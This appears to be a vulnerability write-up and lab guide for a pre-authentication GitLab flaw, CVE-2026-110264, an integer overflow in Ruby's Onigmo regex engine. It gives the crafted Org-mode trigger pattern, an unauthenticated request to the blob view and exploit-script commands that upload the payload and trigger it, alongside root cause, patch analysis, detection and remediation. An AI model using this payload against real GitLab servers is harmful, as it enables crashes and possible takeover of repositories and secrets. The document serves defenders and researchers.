GitLab CE and EE, the dominant self-hosted Git platform, carries a CVSS 10.0 pre-authentication remote code execution flaw that has been present in every release since version 7.0, shipped in 2014.
The vulnerability lives not in GitLab’s Rails code but in Onigmo, the C-language regular expression engine that Ruby bundles.
When GitLab renders a crafted Emacs Org-mode (.org) file hosted in a public repository, the org-ruby gem passes attacker-controlled content through Ruby’s Regexp engine.
A pattern containing more than 32,767 repeat constructs overflows a signed 16-bit internal ID counter in Onigmo’s compiler.
This corrupts the compiled program and triggers an out-of-bounds write. The vulnerability can ultimately lead to arbitrary code execution with the privileges of the git system user.
Security researcher Johan Carlsson (joaxcar) reported the flaw through GitLab’s HackerOne program. GitLab published a critical patch release on October 21, 2026, fixing seven branches simultaneously. The upstream Ruby fix (PR #16801) had already been merged on April 29, 2026.
A sibling vulnerability, CVE-2026-97229, involved a different Onigmo overflow reachable through CI lint. GitLab fixed it nine days earlier.
The vulnerability was subsequently exploited against Alpine Linux’s GitLab instance. CISA added CVE-2026-97229 to its Known Exploited Vulnerabilities (KEV) catalog on October 29.
While writing this report, there is no confirmed exploitation of CVE-2026-110264 in the wild. GitLab has also withheld the precise preconditions required to weaponize the overflow. However, multiple unverified PoC repositories have appeared on GitHub.
Affected versions:
GitLab CE/EE 7.0 through unpatched releases.
Fixed: 19.5.1, 19.4.3, 19.3.6, 19.2.9, 19.1.9, 19.0.10, 18.11.13. GitLab.com and GitLab Dedicated are already patched.


Setup the Lab
This lab provides two tiers for reproducing CVE-2026-110264: a lightweight Ruby PoC that demonstrates the Onigmo overflow in seconds, and a full GitLab Docker environment that reproduces the complete attack chain.
Start with Tier 1 which builds and runs in under a minute and gives immediate confirmation of the vulnerability.
Requirements: Docker with 2+ GB RAM (Tier 1) or 8+ GB RAM (Tier 2) – Ports 8080 and 8081 free (Tier 2 only)
Tier 1: Ruby PoC
This tier isolates the Onigmo overflow at the Ruby level — no GitLab needed.
It builds two containers from the same Ruby 3.3.12 base: one with unpatched Onigmo, one with a simulated add_mem_num() bounds check that mirrors the real C-level fix from ruby/ruby PR #16801.
| File | Description |
| docker-compose.yml | Orchestrates vulnerable and patched services. |
| Dockerfile | Multi-stage build for vulnerable and patched targets. |
| trigger_onigmo.rb | Demonstrates the direct Onigmo overflow PoC. |
| patch_onigmo.rb | Simulates the bounds check, mirroring the C fix. |
| org_payload_generator.rb | Generates malicious .org payloads. |
Build and run:
cd lab/ruby-poc
# Run against VULNERABLE Ruby (no bounds check)
docker compose run --rm vuln
# Run against PATCHED Ruby (simulated add_mem_num() bounds check)
docker compose run --rm patched
Vulnerable output (Ruby 3.3.12, unpatched Onigmo):
CVE-2026-110264: Onigmo Integer Overflow PoC
Ruby 3.3.12p206 (x86_64-linux)
--- Phase 1: Baseline (100 repeats) ---
[*] baseline: building regex with 100 range-repeats (1000 bytes)...
[+] baseline: compiled successfully
[*] baseline: forking child to attempt match...
[+] baseline: match completed (matched)
--- Phase 2: Overflow trigger (32769 repeats) ---
[!] WARNING: On vulnerable Ruby, this may cause SIGSEGV or memory corruption.
[*] overflow: building regex with 32769 range-repeats (327690 bytes)...
[+] overflow: compiled successfully
[*] overflow: forking child to attempt match...
[+] overflow: match completed (no_match)
--- Verdict ---
[VULNERABLE] This Ruby compiled AND executed the overflowing regex.
The OOB write occurred silently (no immediate crash).
Silent corruption is exploitable for code execution.
The vulnerable Ruby accepts the pattern without any bounds checking. The 32,769th range-repeat overflows the 16-bit MemNumType counter, and the corrupted program executes silently:the OOB write occurs without crashing, which is the most dangerous outcome for exploitation.
Patched output (Ruby 3.3.12 + bounds check):
CVE-2026-110264: Onigmo Integer Overflow PoC
Ruby 3.3.12p206 (x86_64-linux)
--- Phase 1: Baseline (100 repeats) ---
[*] baseline: building regex with 100 range-repeats (1000 bytes)...
[+] baseline: compiled successfully
[*] baseline: forking child to attempt match...
[+] baseline: match completed (matched)
--- Phase 2: Overflow trigger (32769 repeats) ---
[!] WARNING: On vulnerable Ruby, this may cause SIGSEGV or memory corruption.
[*] overflow: building regex with 32769 range-repeats (327690 bytes)...
[BLOCKED] overflow: RegexpError — too many repeat quantifiers (32769 > 32767):
pattern rejected by add_mem_num() bounds check
--- Verdict ---
[SAFE] This Ruby is PATCHED.
The regex compiler rejected the pattern before the overflow.
Fix: bounds check in add_mem_num() (ruby/ruby PR #16801)
The patched Ruby rejects the pattern at compile time with RegexpError when the repeat counter exceeds 32,767 (SHRT_MAX).
This is exactly what the real C fix does , it checks the counter after each increment and returns ONIGERR_TOO_MANY_REPEAT (-224) before the value can be truncated.
How the PoC triggers the overflow
The PoC script (trigger_onigmo.rb) builds a regex pattern with 32,769 non-capturing range-repeat groups:
# Each (?:a{1,2}) creates one OP_REPEAT entry in Onigmo's compiled bytecode.
# The {1,2} quantifier is a range-repeat — Onigmo assigns it a num_repeat ID.
# At 32769 IDs, the counter wraps past the 16-bit signed limit.
pattern = 32_769.times.map { "(?:a{1,2})" }.join
Regexp.new(pattern) # Vulnerable: compiles silently. Patched: RegexpError
Non-capturing groups (?:…) are used instead of capturing groups (…) to avoid hitting the separate ONIG_MAX_CAPTURE_GROUP_NUM limit (32,767), which would reject the pattern before the num_repeat overflow is reached.
The child process is forked before the match attempts to detect SIGSEGV via signal inspection rather than crashing the main PoC.
Generate a malicious .org payload
docker compose run --rm vuln ruby org_payload_generator.rb payload.org 32769
This generates a .org file with 32,769 unique TODO keywords distributed across multiple #+SEQ_TODO: directives (500 keywords per directive). When uploaded to GitLab and viewed, org-ruby builds a combined regex from these keywords — triggering the same overflow through the application’s rendering pipeline.
Tier 2: Full GitLab Docker Lab
This tier reproduces the complete attack chain: upload a crafted .org file to a public GitLab project, then trigger rendering through the blob view.
| Directory / File | Description |
| lab/ | Contains the GitLab testing environment. |
| lab/docker-compose.yml | Configures GitLab CE 19.3.5 (vulnerable) and 19.3.6 (patched). |
| lab/setup.sh | Post-boot script that creates an API token and public project. |
| lab/ruby-poc/ | Contains Tier 1 Ruby PoC files described above. |
| exploit/ | Contains exploitation, detection, and assessment scripts. |
| exploit/exploit.py | Automates the full attack chain. |
| exploit/detect.py | Detects indicators of exploitation. |
| exploit/check_vuln.py | Performs a non-destructive vulnerability assessment. |
Start the vulnerable GitLab instance:
cd lab
# Start vulnerable GitLab (19.3.5) — takes 3-5 minutes to boot
docker compose up -d gitlab-vuln
# Wait for boot and auto-create API token + public project
bash setup.sh
The setup script waits for GitLab’s readiness endpoint, creates a personal access token via Rails runner, and initializes a public project ready for payload upload.

Run the full exploit chain:
# Automated: create project → upload .org payload → trigger rendering
python exploit/exploit.py --target http://localhost:8080 --token <TOKEN>
# Or generate payload only for manual upload via GitLab web UI
python exploit/exploit.py --target http://localhost:8080 --payload-only
The exploit script authenticates to GitLab, uploads a crafted .org file containing 32,769+ TODO keywords, then requests the file’s blob view to trigger server-side rendering. On a vulnerable instance, the rendering triggers Onigmo co
Mpilation followed by integer overflow followed by OOB write.

Expected results:
| Response | Interpretation |
|---|---|
| Render stall ≥ 10 s, then error page | Payload compiled and the engine is churning: Timeout::Error / OtherMarkup / .org in exceptions_json.log (benign: 0.1–0.2 s) |
| HTTP 502 Bad Gateway | Puma worker died mid-render: OOB write triggered SIGSEGV. Workhorse: badgateway: EOF; puma_stderr.log shows [BUG] with Onigmo frames |
| HTTP 404 / redirect to sign-in | Payload delivery problem: file missing, wrong ref, or project not public |
| Fast HTTP 200 (< 5 s) | Not triggered: patched instance, wrong path/ref, private project, or render never ran. Cannot be read as “silent exploitation” |
Run the differential comparison (vulnerable vs patched side by side):
docker compose --profile differential up -d
# Vulnerable: http://localhost:8080
# Patched: http://localhost:8081
Non-destructive vulnerability check:
python exploit/check_vuln.py http://localhost:8080 --token <TOKEN>
This checks GitLab version, Ruby version, signup status (no-auth RCE requires open registration), and sibling CVE-2026-97229 exposure — without triggering the overflow.

check_vuln.py assessment: Version 19.3.5 VULNERABLE, open registration, CVSS 10.0
Post-exploitation detection:
python exploit/detect.py --target http://localhost:8080 --token <TOKEN> --docker gitlab-vuln
Scans Puma crash logs for SIGSEGV signatures, audits repository .org files for suspicious TODO keyword counts, and checks Ruby version against known vulnerable releases.
Verifying the patch
| Indicator | Vulnerable (≤19.3.5) | Patched (≥19.3.6) |
|---|---|---|
| .org file with overflow pattern renders | Memory corruption / crash / silent RCE | Regex compilation error, page renders with error message |
| puma_stderr.log | May show [BUG] with Onigmo frames | Clean:no crash |
| exceptions_json.log | Timeout::Error entries for .org rendering | RegexpError with new overflow error code |
| Ruby Regexp.new() with overflow pattern | Succeeds (corrupt program) | Raises RegexpError |
| trigger_onigmo.rb verdict | [VULNERABLE]: compiled and executed | [SAFE]:RegexpError at compile time |
Proof of Concept


Integrity note: The following PoC description is reconstructed from published analyses by Lilting.ch and the googlesky GitHub repository.
The lab scripts in this article have been independently tested against Ruby 3.3.12 to confirm the overflow behavior.
GitLab has withheld the exact preconditions for weaponization, and the code execution step is not publicly confirmed beyond GitLab’s own assessment.
Attack chain overview:
1. The attacker creates a .org file whose #+TODO: (or #+SEQ_TODO: / #+TYP_TODO:) line defines a single TODO keyword whose text is an unescaped regex source containing 32,769+ range repeats (e.g. (?:a{1,2}) × 32,769, one whitespace-free token).
2. The file is pushed to a public GitLab repository.
3. Any unauthenticated user (or crawler, or the attacker themselves) navigates to the file’s blob view.
4. GitLab’s rendering pipeline invokes the org-ruby gem, which parses the directive into a keyword list. The keyword-LIST regex org-ruby build is safely escaped and that path is not the sink.
5. When a headline is rendered, org-ruby strips the keyword from the headline text by compiling the raw keyword as a pattern (lib/org-ruby/headline.rb, ~line 99):
@headline_text.sub!(Regexp.new("^#{@keyword}\s*"), "")
The keyword is interpolated without Regexp.escape() — the attacker controls the regex source itself (CWE-94).
6. Onigmo compiles that single pattern — each of the 32,769 range quantifiers inside the keyword increments num_repeat, and every ID is serialized into the compiled program as 16-bit MemNumType.
7. At repeat #32,769 the ID truncates to -32768; at match time the matcher uses that ID as an index into repeat_stk[] followed by out-of-bounds write and then code execution like a git user.
The trigger pattern
The trigger is a single TODO keyword whose text IS an unescaped regex source.
org-ruby splits directive lines on whitespace, so the payload keyword must be one whitespace-free token carrying more than 32,767 range repeats:
#+TITLE: Project Tracker
#+TODO: (?:a{1,2})(?:a{1,2})...[(?:a{1,2}) x 32,769]... DONE
* (?:a{1,2})(?:a{1,2})... hello
Rendering any headline makes org-ruby compile:
Regexp.new("^(?:a{1,2})(?:a{1,2})...\\s*")
One pattern with 32,769 OP_REPEAT entries. The 32,769th ID truncates to -32768.
Per the Korean analysis at Hackyboiz: “ID는 int로 관리되지만, 컴파일된 명령에 저장할 때는 short int인 MemNumType으로 변환됩니다”:IDs are managed as int but stored as short int (MemNumType) in the compiled instruction.
A loud variant (googlesky’s PoC) uses [[:word:]]* × 35,000 as the keyword: the stacked quantifiers also produce a measurable render stall (~10–19 s vs. 0.1–0.2 s benign) before the timeout, the observable oracle in the HTTP response.
#+TODO:, #+SEQ_TODO: and #+TYP_TODO: all reach the same sink.
Wire-level request
GET /<namespace>/<project>/-/blob/main/trigger.org HTTP/1.1
Host: gitlab.local
Accept: text/html
No authentication headers are required. The response triggers server-side rendering of the .org file.
The measurable timing oracle is the rich viewer endpoint:
GET /<namespace>/<project>/-/blob/main/trigger.org?format=json&viewer=rich
Using the exploit script
Requires the lab from the previous section.
# Automated exploit chain: authenticate → upload payload → trigger render
python exploit/exploit.py --target http://localhost:8080 --token <TOKEN>
# Generate the .org payload locally without a GitLab target
python exploit/exploit.py --target http://localhost:8080 --payload-only
Expected results
| Signal | What it confirms |
| Render stall ≥ 10 s, then error page | Payload compiled — engine churning; server logs Timeout::Error / OtherMarkup / .org |
| HTTP 502 (vulnerable) | Consistent with fatal Onigmo corruption and worker termination; correlate with Workhorse badgateway: EOF |
| Ruby [BUG] in puma_stderr.log | Native memory corruption in Onigmo |
| Child process spawned by Puma/Sidekiq | Code execution achieved, if independently verified — post-exploitation indicator |
| Fast HTTP 200 (< 5 s) | Not triggered — patched, wrong path/ref, private project, or render never ran |
| HTTP 500 / error banner with RegexpError | Patched pattern rejected at compile time (too many range repeat) |
Exploitation visibility
The exploit is blind with respect to code execution: a successful memory-corruption trigger does not necessarily produce a distinguishing HTTP response.
HTTP behavior alone cannot establish a successful RCE. A render stall or worker crash is evidence of a rendering failure or crash, not proof of code execution.
The attacker’s code, if execution is achieved, runs as the git user, potentially exposing repositories, CI/CD secrets, runner tokens, and gitlab-secrets.json.
Direct Ruby-level confirmation
From trigger_onigmo.rb:
# Build a pattern with 32,769 non-capturing range-repeat groups
pattern = 32_769.times.map { "(?:a{1,2})" }.join
# On vulnerable Ruby: compiles and executes silently (OOB write)
# On patched Ruby: raises RegexpError before overflow
Regexp.new(pattern)
The PoC uses non-capturing groups (?:…) rather than capturing groups (…) to avoid hitting the separate ONIG_MAX_CAPTURE_GROUP_NUM limit (32,767), which would reject the pattern before the num_repeat overflow is reached.
This distinction matters: the capture-group limit is a pre-existing safety check that does not protect against the num_repeat overflow.
Static Analysis and Root Cause
The entry point: Org-mode file rendering without authentication
GitLab’s blob view controller renders repository files based on their extension.
A .org file triggers the org-ruby gem’s parser. The rendering happens server-side during the HTTP response cycle: no JavaScript or client-side processing is involved.
The critical design decision: GitLab renders .org files for any viewer, including unauthenticated users on public projects. The rendering path does not gate on authentication, making the entire attack chain pre-auth.
# BlobViewer dispatches to OtherMarkup/org-ruby for .org files
# org-ruby parses #+TODO:/#+SEQ_TODO:/#+TYP_TODO: into a keyword list
# (this list regex IS escaped — not the sink)
# lib/org-ruby/headline.rb (~line 99), keyword stripped raw:
# @headline_text.sub!(Regexp.new("^#{@keyword}\s*"), "")
# -> attacker-controlled regex source reaches Onigmo's compiler (CWE-94)
The org-ruby gem passing user input to Regexp compilation
The org-ruby gem parses Org-mode syntax, including #+TODO:, #+SEQ_TODO:, and #+TYP_TODO: directives that define custom workflow states.
These directives accept arbitrary text, which the gem processes through Ruby’s Regexp engine to match and categorize TODO keywords.
The gem escapes keywords when building its keyword-list regex, but the headline-stripping step compiles the raw keyword.
Any syntactically valid regex a keyword contains is compiled as-is, regardless of complexity. Any pattern that is syntactically valid regex is compiled, regardless of complexity.
The Onigmo compiler:16-bit ID truncation without bounds checking
Onigmo (a fork of Oniguruma) is the regex engine bundled with Ruby since Ruby 2.0. It compiles regex patterns into an internal bytecode program. During compilation, the engine assigns numeric IDs to two internal constructs:
- Range repeats (num_repeat): quantifiers like {0,100}
- Null-checks (num_null_check): internal constructs that prevent infinite loops in nullable patterns
Both counters are unbounded int (32-bit). The function add_mem_num() in regcomp.c serializes them into the compiled bytecode as MemNumType, defined as short int (16-bit signed, max 32,767) in regint.h.
The narrowing cast has no range check (per the lesterlam reproduction lab, which identified the exact function and type definitions):
// regint.h:Onigmo type definitions, per lesterlam lab
typedef short int MemNumType; // 16-bit signed — max 32,767
// regcomp.c — add_mem_num() truncates without checking
// The int counter is cast to MemNumType with no bounds check
// When the counter exceeds 32,767: silent truncation → wrap to negative
The limits that exist are insufficient: – ONIG_MAX_CAPTURE_GROUP_NUM = 32767 (added in 2014 after a crash at that count: protects captures only) – ONIG_MAX_REPEAT_NUM = 100000 (well above the 16-bit signed limit) – The null-check counter has no limit at all
A critical historical detail: Oniguruma (the upstream project) widened MemNumType to int in 2017 (v6.2.0). Onigmo, Ruby’s fork, never followed.
The type RepeatNumType exists as int in Onigmo’s headers but has no call sites:it appears to be a leftover from incomplete porting of Oniguruma’s type widening.
The sink: out-of-bounds array indexing in regexec.c
When the compiled program runs, the engine uses the repeat IDs to index into repeat_stk[mem] and repeat_range[mem] arrays in regexec.c (around line 2905, per the lesterlam lab).
At the 32,769th repeat, the ID wraps to -32768, and the engine uses this negative value as an array index:
Measured corruption in lesterlam’s lab shows an out-of-bounds write at an offset of -262,144 bytes (-32,768 × 8) from the array base pointer.
The write affects an 8-byte match-stack index, with the attacker having partial control over its value. A matching out-of-bounds read occurs at the same offset.
The observed fault depends on the allocator and build configuration. A plain -O2 build produces a SIGSEGV, causing an immediate crash. An ASAN -O1 build reports a heap-use-after-free write because ASAN quarantines freed memory, changing the observable fault.
Both results are possible. The difference comes from allocator behavior, not the underlying vulnerability.
The corruption occurs in native C code running inside Ruby’s process.
There is no managed-memory sandbox or bounds-checking layer between the regex engine and the host process. Successful exploitation can therefore give an attacker code execution with the full privileges of the Git system user.
The load-bearing technical detail: why 16-bit IDs existed for 12 years
Onigmo inherited the MemNumType definition as short int from its original design in Oniguruma. The assumption was that no real-world regular expression would need more than 32,767 repeat constructs.
That worked for patterns written by developers, but not for adversarial input. An attacker can programmatically generate a malicious pattern containing an arbitrary number of nested repeats.
The mismatch between the 32-bit counter and 16-bit storage did not trigger a compiler warning.
The reason is that C permits implicit narrowing conversions from int to short int. Compilers generally do not warn about this unless -Wconversion is enabled, which is typically not enabled in production builds.
Ruby’s Regexp.timeout and pattern length limits do not prevent this issue. The timeout applies to matching time, not regex compilation.
Similarly, pattern length limits measure the number of characters, not the number of internal constructs generated by the compiler.
The full call stack

Full call stack for CVE-2026-110264: An HTTP request enters GitLab and passes through org-ruby and Ruby’s Regexp implementation before reaching the Onigmo compiler.
The integer overflow corrupts memory, triggering an out-of-bounds write that can ultimately lead to remote code execution (RCE).
CVE-2026-97229: Same engine, different overflow, nine days earlier
CVE-2026-97229 is a sibling vulnerability involving a different integer overflow in Onigmo’s regex compiler. In GitLab, the flaw was reachable through the CI/CD rules:exists:regexp and rules:changes:regexp directives.
GitLab fixed it on October 12, 2026, nine days before the October 21 patch for CVE-2026-110264.
The vulnerability was subsequently exploited against Alpine Linux’s GitLab infrastructure.
Published technical analysis describes the overflow as a 32-bit signed multiplication wrap. Multiplying the repeated body size (37,151 bytes under UTF-8) by the repeat bound (57,805) exceeds INT_MAX and produces a negative value.
This causes the compiler’s check for whether the pattern is small enough to expand to pass incorrectly.
A second bug in the alternation compiler then calculates a jump offset using the already-overflowed length, sending execution to the wrong location.
GitLab’s existing regex safeguards did not catch the pattern. These included a source length check, a subroutine call limit, and a repeat-bound scanner. The scanner only recognizes contiguous digits.
An inline regex comment can split the repeat bound, allowing the malicious value to bypass the check.
| Dimension | CVE-2026-97229 | CVE-2026-110264 |
|---|---|---|
| Entry point | CI/CD rules:exists:regexp via CI lint API | Org-mode / Markdown / wiki file rendering |
| Auth required | Unauthenticated via CI lint API | None (public project blob view) |
| Overflow mechanism | 32-bit signed multiplication wrap (body × bound > INT_MAX) | 16-bit signed truncation in repeat-ID counter |
| Trigger size | ~2 GiB worker memory spike | ~557 KB .org payload file (trigger is a plain GET) |
| Fix date | October 12, 2026 | October 21, 2026 |
| Affected range | 19.2–19.4 only | 7.0–19.5.0 (12 years) |
| Exploitation | Confirmed — Alpine Linux attacked Oct 20-21; CISA KEV Oct 29 | No confirmed exploitation |
| Public PoC | RCE as git (uid 998), ASLR enabled | Trigger-only (lesterlam); weaponized unverified |
| CVSS | 10.0 | 10.0 |
| Fix approach | Division-based check, reject programs >512 MiB | Bounds check on repeat-ID counter, error codes -224/-225 |
Why the integer overflow class persisted for 12 years
- Onigmo is written in C and has been maintained as a fork of Oniguruma since 2012. The repeat-ID truncation dates back to the initial codebase. It remained undetected for several reasons.
- No adversarial input model: Regex engines were primarily designed for patterns written by developers, not malicious patterns submitted through web applications. The ONIG_MAX_REPEAT_NUM limit of 100,000 was introduced for performance reasons. The possibility that the 16-bit storage type could become the actual limiting factor was overlooked.
- Silent narrowing conversions: C allows implicit conversion from int to short int, which can truncate values without generating a compiler warning. Such warnings generally require -Wconversion, which is not typically enabled in production builds. As a result, the unsafe conversion in add_mem_num() went unnoticed.
- An upstream fix that was never ported: Oniguruma widened MemNumType to int in 2017 (v6.2.0). This change would have eliminated this class of vulnerability. However, Ruby’s Onigmo fork never incorporated it. Onigmo’s headers also contain a RepeatNumType definition as int, but it has no call sites, suggesting an incomplete port.
- Limited compiler-path fuzzing: Security testing of regex engines has traditionally focused on the matching process, particularly ReDoS and catastrophic backtracking. The compilation process receives less attention. Memory corruption during compilation presents a different attack surface that many regex fuzzing setups do not cover.
- An integration blind spot: The vulnerability crosses three layers: GitLab uses Ruby, and Ruby relies on Onigmo. Each project maintains its own codebase and security boundaries. GitLab’s regex safeguards, including length limits and Regexp.timeout, operate at the Ruby API level. They cannot inspect or detect unsafe internal states created by the Onigmo compiler.
Patch Diffing

The fix was made in upstream Ruby, not GitLab’s Rails code. Ruby PR #16801 (upstream commit 493d26dc) was merged on April 29, 2026. It adds bounds checks to Onigmo’s compiler. According to lesterlam’s apply_vendor_fix.py, the patch consists of 4 hunks across 3 files, adding 8 lines of code. It does not change the overall structure.
1. onigmo.h: Adds two error codes: -224 (ONIGERR_TOO_MANY_REPEAT) and -225 (ONIGERR_TOO_MANY_NULL_CHECK).
2. regcomp.c: Adds checks after each counter increment. The code casts the counter to MemNumType and rejects the value if the result is less than or equal to zero. This stops compilation at exactly 32,768, before the overflow produces a negative ID.
3. regerror.c: Adds the corresponding human-readable error messages.
Conceptual representation of the fix, based on lesterlam lab analysis:
Before (vulnerable): add_mem_num() narrows int to MemNumType without checking whether the value fits.
After (patched): After incrementing the counter, the compiler casts the value to MemNumType. If the result is less than or equal to zero, it returns ONIGERR_TOO_MANY_REPEAT (-224) or ONIGERR_TOO_MANY_NULL_CHECK (-225).
This is a conceptual representation based on the lesterlam reproduction lab, not a direct code excerpt.
Measured behavior change (per lesterlam A/B test):
| Repeats | Vulnerable build | Patched build |
|---|---|---|
| 32,767 | Clean match | Clean match |
| 32,768 | Accepted (IDs still in range) | Rejected: ONIGERR -224 |
| 32,769 | OOB write, SIGSEGV | Rejected |
| 100,000 | ASAN heap-use-after-free | Rejected |
The patch rejects the counter at 32,768, one step before the first overflowing ID. The lesser term lab describes this as a “conservative off-by-one.”
GitLab backported the fix through omnibus-gitlab !9921, titled “Add Ruby regexp repeat ID overflow patch for 3.3, 3.4 and 4.0”. Additional branch-specific backports followed, including !9922 for 19.5.
Fix approach: The patch adds input validation through a bounds check during regex compilation.
Does it fix the root cause? It prevents the overflow in this specific counter. However, it does not address several broader issues:
- 16-bit MemNumType: The patch limits the counter’s range rather than expanding the underlying type. This differs from Oniguruma, which widened MemNumType to int in 2017.
- Other 16-bit types: StateCheckNumType remains a 16-bit type in Onigmo and belongs to a different opcode family. It is not currently known to be reachable through this vulnerability.
- Other integer handling issues: The patch does not address potential integer-handling problems elsewhere in Onigmo’s C codebase.
- Regex compilation risks: Passing untrusted input to the regex compiler without broader pattern-complexity limits remains an architectural concern.
- CVE-2026-97229: This sibling vulnerability requires a separate fix because it involves a different overflow mechanism.
Ruby versions containing the fix: Ruby 3.3.13, 3.4.12 and 4.0.9, released on October 23, 2026.
Important for self-managed GitLab installations: Organizations running their own Ruby runtime, whether through a self-compiled build or custom container image, must upgrade Ruby independently. The Alpine Linux incident involving CVE-2026-97229 demonstrated this problem. Alpine’s custom GitLab container remained vulnerable after upgrading to version 19.3.6 because its Ruby build did not include the Onigmo compiler fix.
Upgrading the GitLab Omnibus package fixes the bundled Ruby runtime. It does not automatically patch a separately maintained Ruby installation.
Severity and Impact
Why this scores 10.0, not 9.8
The key differentiator is the Scope: Changed (S:C) metric. The attacker sends input through GitLab’s web interface, which is the vulnerable component, but the resulting code execution happens under the git operating system user.
This crosses the security boundary of the web application and affects a different security authority. The scope change raises the CVSS score from 9.8 to the maximum 10.0.
Without S:C, the same vulnerability would score 9.8 with the vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
GitLab’s Changed scope assessment reflects the fact that the Onigmo overflow reaches native memory outside Ruby’s managed runtime.
The resulting shell executes with the privileges of the git system user, rather than remaining within the web application’s permission model.
Impact
| Dimension | Impact |
|---|---|
| Confidentiality | HIGH: access to all repositories, CI/CD secrets, gitlab-secrets.json, runner registration tokens |
| Integrity | HIGH — ability to modify any repository, inject code into CI/CD pipelines, tamper with merge requests |
| Availability | HIGH:ability to crash workers, corrupt data, or destroy the instance |
| Privilege gained | OS-level git user: read/write access to GitLab’s data directory |
| Auth required | None: unauthenticated access to public project blob view |
| User interaction | None: the attacker triggers rendering by navigating to the file URL |
Affected versions
| Branch | Affected Versions | Fixed Version |
|---|---|---|
| 19.5.x | < 19.5.1 | 19.5.1 |
| 19.4.x | < 19.4.3 | 19.4.3 |
| 19.3.x | < 19.3.6 | 19.3.6 |
| 19.2.x | < 19.2.9 | 19.2.9 |
| 19.1.x | < 19.1.9 | 19.1.9 |
| 19.0.x | < 19.0.10 | 19.0.10 |
| 18.11.x | < 18.11.13 | 18.11.13 |
| ≤ 18.10.x | All versions | No patch — upgrade required |
GitLab backported beyond its normal support policy. Versions 18.10 and older have no patch; the only remediation is upgrading to a supported branch.
Remediation
- Upgrade GitLab immediately to the latest patched version for your branch (19.5.1, 19.4.3, 19.3.6, 19.2.9, 19.1.9, 19.0.10, or 18.11.13)
- If using custom Ruby: upgrade Ruby to 3.3.13+, 3.4.12+, or 4.0.9+: upgrading GitLab’s package alone does NOT fix the issue for self-compiled Ruby
- If on ≤ 18.10.x: plan an immediate upgrade path to a supported branch; no patch exists for these versions
- Assume compromise if unpatched and internet-facing: rotate gitlab-secrets.json, all CI/CD variables, runner registration tokens, personal/project/group access tokens, and SSH keys
- Network restriction (interim): restrict access to the GitLab instance from untrusted networks; limit unauthenticated access to public projects if possible
- Audit for indicators of compromise: check for unexpected files owned by the git user, unexpected child processes of Puma/Sidekiq, unusual outbound connections, and modified crontabs or authorized_keys
No workaround exists. GitLab does not provide a configuration setting to disable Org-mode rendering. The only effective mitigation is upgrading.
Timeline
| Date | Event |
|---|---|
| ~Early 2026 | Johan Carlsson (joaxcar) reports the vulnerability to GitLab via HackerOne |
| April 29, 2026 | Upstream Ruby fix merged (ruby/ruby PR #16801) |
| October 12, 2026 | Sibling CVE-2026-97229 fixed in GitLab |
| October 20-21, 2026 | Alpine Linux’s GitLab instance attacked via CVE-2026-97229 |
| October 21, 2026 | GitLab critical patch release: CVE-2026-110264 fixed across 7 branches |
| October 23, 2026 | Ruby 4.0.9, 3.4.12, 3.3.13 released with the Onigmo fix |
| October 25, 2026 | First public technical analyses published |
| October 29, 2026 | CISA adds sibling CVE-2026-97229 to KEV catalog |
| ~January 19, 2027 | Full vulnerability details become public (GitLab’s 90-day disclosure policy) |
Conclusion
CVE-2026-110264 highlights a recurring security problem: web applications that compile untrusted input as regular expressions inherit the vulnerabilities of the regex engine’s underlying C implementation.
GitLab did not introduce this bug. It came from Onigmo, which inherited the 16-bit ID type from Oniguruma’s original design.
The 12 years between the code’s introduction and its discovery point to a wider blind spot in security testing.
Regex compilers receive far less fuzzing attention than regex matchers, despite handling memory allocation, type conversions, and buffer management. These are all common sources of memory corruption.
The sibling vulnerability, CVE-2026-97229, affected the same engine and involved a similar class of integer overflow, but had a different entry point.
It was exploited against Alpine Linux’s infrastructure just nine days after its fix was published. This shows why fixing one entry point does not necessarily eliminate the underlying attack surface.
Once a vulnerability becomes public, attackers can look for other ways to reach the same vulnerable code. CVE-2026-110264 is particularly concerning because it can be triggered without authentication.
Its 12-year affected window also means that many installations, including older deployments, may remain exposed.
Another vulnerability of this kind could emerge from Onigmo’s integer handling, potentially involving the null-check ID counter, which is the second counter type addressed by the fix. Similar compilation-path flaws could also exist in other languages’ regex engines.
Adding a bounds check addresses the immediate problem, but does not address the wider security concern. Regex compilation should be treated as an untrusted input processing boundary.
That means enforcing pattern complexity limits, compilation timeouts, and sandboxed execution. Ruby and Onigmo do not currently provide these protections as a complete security boundary.
References:
- GitLab Critical Patch Release 19.5.1:
https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-5-1-released
- lesterlam: Onigmo CVE-2026-110264 Reproduction Lab:
https://github.com/lesterlam/onigmo-cve-2026-110264
- Alpine Linux: GitLab Security Incident (CVE-2026-97229):
https://alpinelinux.org/posts/GitLab-security-incident-CVE-2026-97229.html
- Ruby upstream fix: PR #16801:https://github.com/ruby/ruby/pull/16801
- Lilting.ch:GitLab CVE-2026-110264: https://lilting.ch/en/articles/gitlab-cve-2026-110264-org-mode-rce
- DEV Community (anoymask): Pre-Authentication RCE via Integer Overflow:
- googlesky PoC Repository (unverified):
https://github.com/googlesky/CVE-2026-110264
- CWE-190: Integer Overflow or Wraparound:
https://cwe.mitre.org/data/definitions/190.html
- CWE-787: Out-of-Bounds Write: